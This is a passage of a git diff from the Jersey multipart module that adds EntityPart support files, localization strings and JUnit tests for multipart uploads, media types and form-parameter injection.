+        multiPart.bodyPart((BodyPart) entityParts);
+
+        if (multiPartWriter == null) {
+            multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter(
+                    MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+        }
+
+        multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class,
+                annotations, multiPart.getMediaType(), httpHeaders, entityStream);
+    }
+}
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider
new file mode 100644
index 0000000..32738ac
--- /dev/null
+++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider
\ No newline at end of file
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable
new file mode 100644
index 0000000..04a6776
--- /dev/null
+++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable
@@ -0,0 +1 @@
+org.glassfish.jersey.media.multipart.MultiPartFeatureAutodiscoverable
\ No newline at end of file
diff --git a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
index 8a7b4ba..13e7136 100644
--- a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
+++ b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
@@ -15,6 +15,8 @@
 #
 
 cannot.inject.file=Cannot provide file for an entity body part.
+content.has.been.already.read=Content method has already been invoked.
+entity.content.not.set=EntityPart content is not set.
 entity.has.wrong.type=Entity instance does not contain the unconverted content.
 error.charset.unsupported={0} charset is not supported.
 error.filename.unsupported=Unsupported filename parameter {0}. 
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java
new file mode 100644
index 0000000..f7bfa53
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/ClientFilterTests.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.json.Json;
+import jakarta.json.JsonArray;
+import jakarta.json.JsonArrayBuilder;
+import jakarta.json.JsonObject;
+import jakarta.json.JsonObjectBuilder;
+import jakarta.json.JsonValue;
+import jakarta.ws.rs.BadRequestException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.UncheckedIOException;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.stream.Collectors;
+
+/**
+ * Tests in clientFilter before the multipart provider is invoked.
+ * Check the workers are set.
+ *
+ * Modified MP Rest Client TCK tests
+ */
+public class ClientFilterTests {
+    /**
+     * Tests that a single file is upload. The response is a simple JSON response with the file information.
+     *
+     * @throws Exception
+     *             if a test error occurs
+     */
+    @Test
+    public void uploadFile() throws Exception {
+        try (Client client = createClient()) {
+            final byte[] content;
+            try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file1.txt")) {
+                Assertions.assertNotNull(in, "Could not find /multipart/test-file1.txt");
+                content = in.readAllBytes();
+            }
+            // Send in an InputStream to ensure it works with an InputStream
+            final List<EntityPart> files = List.of(EntityPart.withFileName("test-file1.txt")
+                    .content(new ByteArrayInputStream(content))
+                    .mediaType(MediaType.APPLICATION_OCTET_STREAM_TYPE)
+                    .build());
+            try (Response response = client.target("http://localhost").request()
+                    .post(Entity.entity(files, MediaType.MULTIPART_FORM_DATA))) {
+                Assertions.assertEquals(201, response.getStatus());
+                final JsonArray jsonArray = response.readEntity(JsonArray.class);
+                Assertions.assertNotNull(jsonArray);
+                Assertions.assertEquals(jsonArray.size(), 1);
+                final JsonObject json = jsonArray.getJsonObject(0);
+                Assertions.assertEquals(json.getString("name"), "test-file1.txt");
+                Assertions.assertEquals(json.getString("fileName"), "test-file1.txt");
+                Assertions.assertEquals(json.getString("content"), "This is a test file for file 1.");
+            }
+        }
+    }
+
+    /**
+     * Tests that two files are upload. The response is a simple JSON response with the file information.
+     *
+     * @throws Exception
+     *             if a test error occurs
+     */
+    @Test
+    public void uploadMultipleFiles() throws Exception {
+        try (Client client = createClient()) {
+            final Map<String, byte[]> entityPartContent = new LinkedHashMap<>(2);
+            try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file1.txt")) {
+                Assertions.assertNotNull(in, "Could not find /multipart/test-file1.txt");
+                entityPartContent.put("test-file1.txt", in.readAllBytes());
+            }
+            try (InputStream in = ClientFilterTests.class.getResourceAsStream("/multipart/test-file2.txt")) {
+                Assertions.assertNotNull(in, "Could not find /multipart/test-file2.txt");
+                entityPartContent.put("test-file2.txt", in.readAllBytes());
+            }
+            final List<EntityPart> files = entityPartContent.entrySet()
+                    .stream()
+                    .map((entry) -> {
+                        try {
+                            return EntityPart.withName(entry.getKey())
+                                    .fileName(entry.getKey())
+                                    .content(entry.getValue())
+                                    .mediaType(MediaType.APPLICATION_OCTET_STREAM_TYPE)
+                                    .build();
+                        } catch (IOException e) {
+                            throw new UncheckedIOException(e);
+                        }
+                    })
+                    .collect(Collectors.toList());
+
+            try (Response response = client.target("http://localhost").request()
+                    .post(Entity.entity(files, MediaType.MULTIPART_FORM_DATA))) {
+                Assertions.assertEquals(201, response.getStatus());
+                final JsonArray jsonArray = response.readEntity(JsonArray.class);
+                Assertions.assertNotNull(jsonArray);
+                Assertions.assertEquals(jsonArray.size(), 2);
+                // Don't assume the results are in a specific order
+                for (JsonValue value : jsonArray) {
+                    final JsonObject json = value.asJsonObject();
+                    if (json.getString("name").equals("test-file1.txt")) {
+                        Assertions.assertEquals(json.getString("fileName"), "test-file1.txt");
+                        Assertions.assertEquals(json.getString("content"), "This is a test file for file 1.");
+                    } else if (json.getString("name").equals("test-file2.txt")) {
+                        Assertions.assertEquals(json.getString("fileName"), "test-file2.txt");
+                        Assertions.assertEquals(json.getString("content"), "This is a test file for file 2.");
+                    } else {
+                        Assertions.fail(String.format("Unexpected entry %s in JSON response: %n%s", json, jsonArray));
+                    }
+                }
+            }
+        }
+    }
+
+    private static Client createClient() {
+        return ClientBuilder.newClient().register(new FileManagerFilter());
+    }
+
+    public static class FileManagerFilter implements ClientRequestFilter {
+
+        @Override
+        public void filter(final ClientRequestContext requestContext) throws IOException {
+            if (requestContext.getMethod().equals("POST")) {
+                // Download the file
+                @SuppressWarnings("unchecked")
+                final List<EntityPart> entityParts = (List<EntityPart>) requestContext.getEntity();
+                final JsonArrayBuilder jsonBuilder = Json.createArrayBuilder();
+                for (EntityPart part : entityParts) {
+                    final JsonObjectBuilder jsonPartBuilder = Json.createObjectBuilder();
+                    jsonPartBuilder.add("name", part.getName());
+                    if (part.getFileName().isPresent()) {
+                        jsonPartBuilder.add("fileName", part.getFileName().get());
+                    } else {
+                        throw new BadRequestException("No file name for entity part " + part);
+                    }
+                    jsonPartBuilder.add("content", part.getContent(String.class));
+                    jsonBuilder.add(jsonPartBuilder);
+                }
+                requestContext.abortWith(Response.status(201).entity(jsonBuilder.build()).build());
+            } else {
+                requestContext
+                        .abortWith(Response.status(Response.Status.BAD_REQUEST).entity("Invalid request").build());
+            }
+        }
+    }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java
new file mode 100644
index 0000000..cd3d884
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MediaTypeTest {
+    @Test
+    public void testInputStreamDataMediaType() throws IOException {
+        ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes());
+        EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt")
+                .content(bais)
+                .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                .build();
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+    }
+
+    @Test
+    public void testFileDataMediaType() throws IOException {
+        EntityPart entityPart = EntityPart.withName("textFile")
+                .content(new File("anyname"), File.class)
+                .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                .build();
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+    }
+
+    @Test
+    public void testGenericDataMediaType() throws IOException {
+        EntityPart entityPart = EntityPart.withName("textFile")
+                .content("Hello", String.class)
+                .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                .build();
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+    }
+
+    @Test
+    public void testInputStreamDataNullMediaType() throws IOException {
+        ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes());
+        EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt")
+                .content(bais)
+                .build();
+        assertEquals(MediaType.APPLICATION_OCTET_STREAM_TYPE, entityPart.getMediaType());
+    }
+
+    @Test
+    public void testGenericDataNullMediaType() throws IOException {
+        EntityPart entityPart = EntityPart.withName("textFile")
+                .content("Hello", String.class)
+                .build();
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+    }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
index c35f468..70dc2df 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -86,6 +86,12 @@
         fdbp.setFileEntity(file, expectedType);
         checkEntityAttributes(name, fdbp, file, expectedType);
 
+        file = new File("pom.json");
+        name = "json";
+        fdbp = new FileDataBodyPart(name, file);
+        expectedType = DefaultMediaTypePredictor.CommonMediaTypes.JSON.getMediaType();
+        checkEntityAttributes(name, fdbp, file, expectedType);
+
         file = new File("pom.png");
         name = "png";
         fdbp = new FileDataBodyPart("png", file);
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java
new file mode 100644
index 0000000..effb565
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.MediaType;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityPartBeansTest extends JerseyTest {
+
+    @Path("/form-field-injected")
+    public static class MultiPartFieldInjectedResource {
+        @FormParam("string")
+        EntityPart stringEntityPart;
+
+        @POST
+        @Path("xml-jaxb-part")
+        @Consumes(MediaType.MULTIPART_FORM_DATA)
+        public String post() throws IOException {
+            return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(MultiPartFieldInjectedResource.class);
+    }
+
+    @Test
+    public void testInjectedEntityPartBeans() throws IOException {
+        final WebTarget target = target().path("/form-field-injected/xml-jaxb-part");
+
+        final EntityPart entityPart = EntityPart.withName("string").fileName("string")
+                .content("STRING", String.class)
+                .build();
+
+        final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
+        final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+        assertEquals("STRING:string", s);
+    }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java
new file mode 100644
index 0000000..e6bd4e6
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityPartTest extends JerseyTest {
+
+    private static final GenericType<List<EntityPart>> LIST_ENTITY_PART_TYPE = new GenericType<List<EntityPart>>(){};
+    private static final GenericType<AtomicReference<String>> ATOMIC_REFERENCE_GENERIC_TYPE = new GenericType<>(){};
+
+    @Path("/")
+    public static class EntityPartTestResource {
+        @GET
+        public Response getResponse() throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName("part-01").content("TEST1").build());
+            list.add(EntityPart.withName("part-02").content("TEST2").build());
+            GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+            return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+        }
+
+        @POST
+        @Path("/postList")
+        public String postEntityPartList(List<EntityPart> list) throws IOException {
+            String entity = list.get(0).getContent(String.class) + list.get(1).getContent(String.class);
+            return entity;
+        }
+
+        @POST
+        @Path("/postForm")
+        public String postEntityPartForm(@FormParam("part-01") EntityPart part1, @FormParam("part-02") EntityPart part2)
+                throws IOException {
+            String entity = part1.getContent(String.class) + part2.getContent(String.class);
+            return entity;
+        }
+
+        @POST
+        @Path("/postListForm")
+        public String postEntityPartForm(@FormParam("part-0x") List<EntityPart> part)
+                throws IOException {
+            String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class);
+            return entity;
+        }
+
+        @POST
+        @Path("/postStreams")
+        public Response postEntityStreams(@FormParam("name1") EntityPart part1,
+                                        @FormParam("name2") EntityPart part2,
+                                        @FormParam("name3") EntityPart part3) throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName(part1.getName()).fileName(part1.getFileName().get()).content(
+                    new ByteArrayInputStream(part1.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build());
+            list.add(EntityPart.withName(part2.getName()).fileName(part2.getFileName().get()).content(
+                    new ByteArrayInputStream(part2.getContent(String.class).getBytes(StandardCharsets.UTF_8))).build());
+            list.add(EntityPart.withName(part3.getName()).fileName(part3.getFileName().get())
+                    .content(part3.getContent(StringHolder.class), StringHolder.class)
+                    .mediaType(part3.getMediaType()).build());
+            GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+            return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+        }
+
+        @POST
+        @Path("/postHeaders")
+        public Response postEntityStreams(@FormParam("name1") EntityPart part1) throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName(part1.getName()).content(part1.getContent(String.class))
+                    .headers(part1.getHeaders()).build());
+            GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+            return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+        }
+
+        @POST
+        @Path("/postGeneric")
+        public Response postGeneric(@FormParam("name1") EntityPart part1) throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName(part1.getName())
+                    .content(part1.getContent(ATOMIC_REFERENCE_GENERIC_TYPE), ATOMIC_REFERENCE_GENERIC_TYPE)
+                    .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                    .build());
+            GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+            return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+        }
+
+        @POST
+        @Path("/postFormVarious")
+        public Response postFormVarious(@FormParam("name1") EntityPart part1,
+                                        @FormParam("name2") InputStream part2,
+                                        @FormParam("name3") String part3) throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName(part1.getName())
+                    .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3)
+                    .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                    .build());
+            GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+            return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+        }
+
+        @GET
+        @Produces(MediaType.MULTIPART_FORM_DATA)
+        @Path("/getList")
+        public List<EntityPart> getList() throws IOException {
+            List<EntityPart> list = new LinkedList<>();
+            list.add(EntityPart.withName("name1").content("data1").build());
+            return list;
+        }
+    }
+
+    public static class StringHolder extends AtomicReference<String> {
+        StringHolder(String name) {
+            set(name);
+        }
+    }
+
+    @Consumes(MediaType.TEXT_PLAIN)
+    @Produces(MediaType.TEXT_PLAIN)
+    public static class StringHolderWorker implements MessageBodyReader<StringHolder>, MessageBodyWriter<StringHolder> {
+
+        @Override
+        public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == StringHolder.class;
+        }
+
+        @Override
+        public StringHolder readFrom(Class<StringHolder> type, Type genericType, Annotation[] annotations,
+                                     MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+                                     InputStream entityStream) throws IOException, WebApplicationException {
+            final StringHolder holder = new StringHolder(new String(entityStream.readAllBytes()));
+            return holder;
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == StringHolder.class;
+        }
+
+        @Override
+        public void writeTo(StringHolder s, Class<?> type, Type genericType, Annotation[] annotations,
+                            MediaType mediaType, MultivaluedMap<String, Object> httpHeaders,
+                            OutputStream entityStream) throws IOException, WebApplicationException {
+            entityStream.write(s.get().getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(EntityPartTestResource.class,
+                StringHolderWorker.class, AtomicReferenceProvider.class)
+                .property(ServerProperties.WADL_FEATURE_DISABLE, true);
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(StringHolderWorker.class).register(AtomicReferenceProvider.class);
+    }
+
+    @Test
+    public void getEntityPartListTest() throws IOException {
+        try (Response response = target().request().get()) {
+            List<EntityPart> list = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("TEST1", list.get(0).getContent(String.class));
+            assertEquals("TEST2", list.get(1).getContent(String.class));
+        }
+    }
+
+    @Test
+    public void postEntityPartListTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("part-01").content("TEST").build());
+        list.add(EntityPart.withName("part-02").content("1").build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+        try (Response response = target("/postList").request().post(entity)) {
+            assertEquals("TEST1", response.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void postEntityPartFormParamTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("part-01").content("TEST").build());
+        list.add(EntityPart.withName("part-02").content("1").build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+        try (Response response = target("/postForm").request().post(entity)) {
+            assertEquals("TEST1", response.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void postListEntityPartFormParamTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("part-0x").content("TEST").build());
+        list.add(EntityPart.withName("part-0x").content("1").build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+        try (Response response = target("/postListForm").request().post(entity)) {
+            assertEquals("TEST1", response.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void postEntityPartStreamsTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("name1").fileName("file1.doc").content(
+                new ByteArrayInputStream("data1".getBytes(StandardCharsets.UTF_8))).build());
+        list.add(EntityPart.withName("name2").fileName("file2.doc").content(
+                new ByteArrayInputStream("data2".getBytes(StandardCharsets.UTF_8))).build());
+        list.add(EntityPart.withName("name3").fileName("file3.xml")
+                .content(new StringHolder("data3"), StringHolder.class)
+                .mediaType(MediaType.TEXT_PLAIN_TYPE).build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {
+        };
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+        try (Response response = target("/postStreams").request().post(entity)) {
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+
+            EntityPart part1 = result.get(0);
+            assertEquals("name1", part1.getName());
+            assertEquals("file1.doc", part1.getFileName().get());
+            assertEquals("data1", part1.getContent(String.class));
+
+            EntityPart part2 = result.get(1);
+            assertEquals("name2", part2.getName());
+            assertEquals("file2.doc", part2.getFileName().get());
+            assertEquals("data2", part2.getContent(String.class));
+
+            EntityPart part3 = result.get(2);
+            assertEquals("name3", part3.getName());
+            assertEquals("file3.xml", part3.getFileName().get());
+            assertEquals("data3", part3.getContent(String.class));
+            assertEquals(MediaType.TEXT_PLAIN_TYPE, part3.getMediaType());
+        }
+    }
+
+    @Test
+    public void postHeaderTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("name1").content("data1")
+                .header("header-01", "value-01").build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+        try (Response response = target("/postHeaders").request().post(entity)) {
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+            assertEquals("data1", result.get(0).getContent(String.class));
+        }
+    }
+
+    @Test
+    public void postHeaderNoListTest() throws IOException {
+        EntityPart entityPart = EntityPart.withName("name1").content("data1").header("header-01", "value-01").build();
+        Entity entity = Entity.entity(entityPart, MediaType.MULTIPART_FORM_DATA_TYPE);
+        try (Response response = target("/postHeaders").request().post(entity)) {
+            response.bufferEntity();
+            List<EntityPart> result = response.readEntity(LIST_ENTITY_PART_TYPE);
+            assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+            assertEquals("data1", result.get(0).getContent(String.class));
+
+            EntityPart firstEntity = response.readEntity(EntityPart.class);
+            assertEquals("value-01", result.get(0).getHeaders().getFirst("header-01"));
+        }
+    }
+
+    @Consumes(MediaType.TEXT_PLAIN)
+    @Produces(MediaType.TEXT_PLAIN)
+    public static class AtomicReferenceProvider implements
+            MessageBodyReader<AtomicReference<String>>,
+            MessageBodyWriter<AtomicReference<String>> {
+
+        @Override
+        public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+            return type == AtomicReference.class
+                    && ParameterizedType.class.isInstance(generic)
+                    && String.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+        }
+
+        @Override
+        public AtomicReference<String> readFrom(Class<AtomicReference<String>> type, Type genericType,
+                                                Annotation[] annotations, MediaType mediaType,
+                                                MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+                throws IOException, WebApplicationException {
+            return new AtomicReference<String>(new String(entityStream.readAllBytes(), StandardCharsets.UTF_8));
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return isReadable(type, genericType, annotations, mediaType);
+        }
+
+        @Override
+        public void writeTo(AtomicReference<String> stringAtomicReference, Class<?> type, Type genericType,
+                            Annotation[] annotations, MediaType mediaType, MultivaluedMap<String, Object> httpHeaders,
+                            OutputStream entityStream) throws IOException, WebApplicationException {
+            entityStream.write(stringAtomicReference.get().getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
+    @Test
+    public void genericEntityTest() throws IOException {
+        List<EntityPart> list = new LinkedList<>();
+        list.add(EntityPart.withName("name1")
+                .content(new AtomicReference<String>("data1"), ATOMIC_REFERENCE_GENERIC_TYPE)
+                .mediaType(MediaType.TEXT_PLAIN_TYPE)
+                .build());
+        GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+        Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
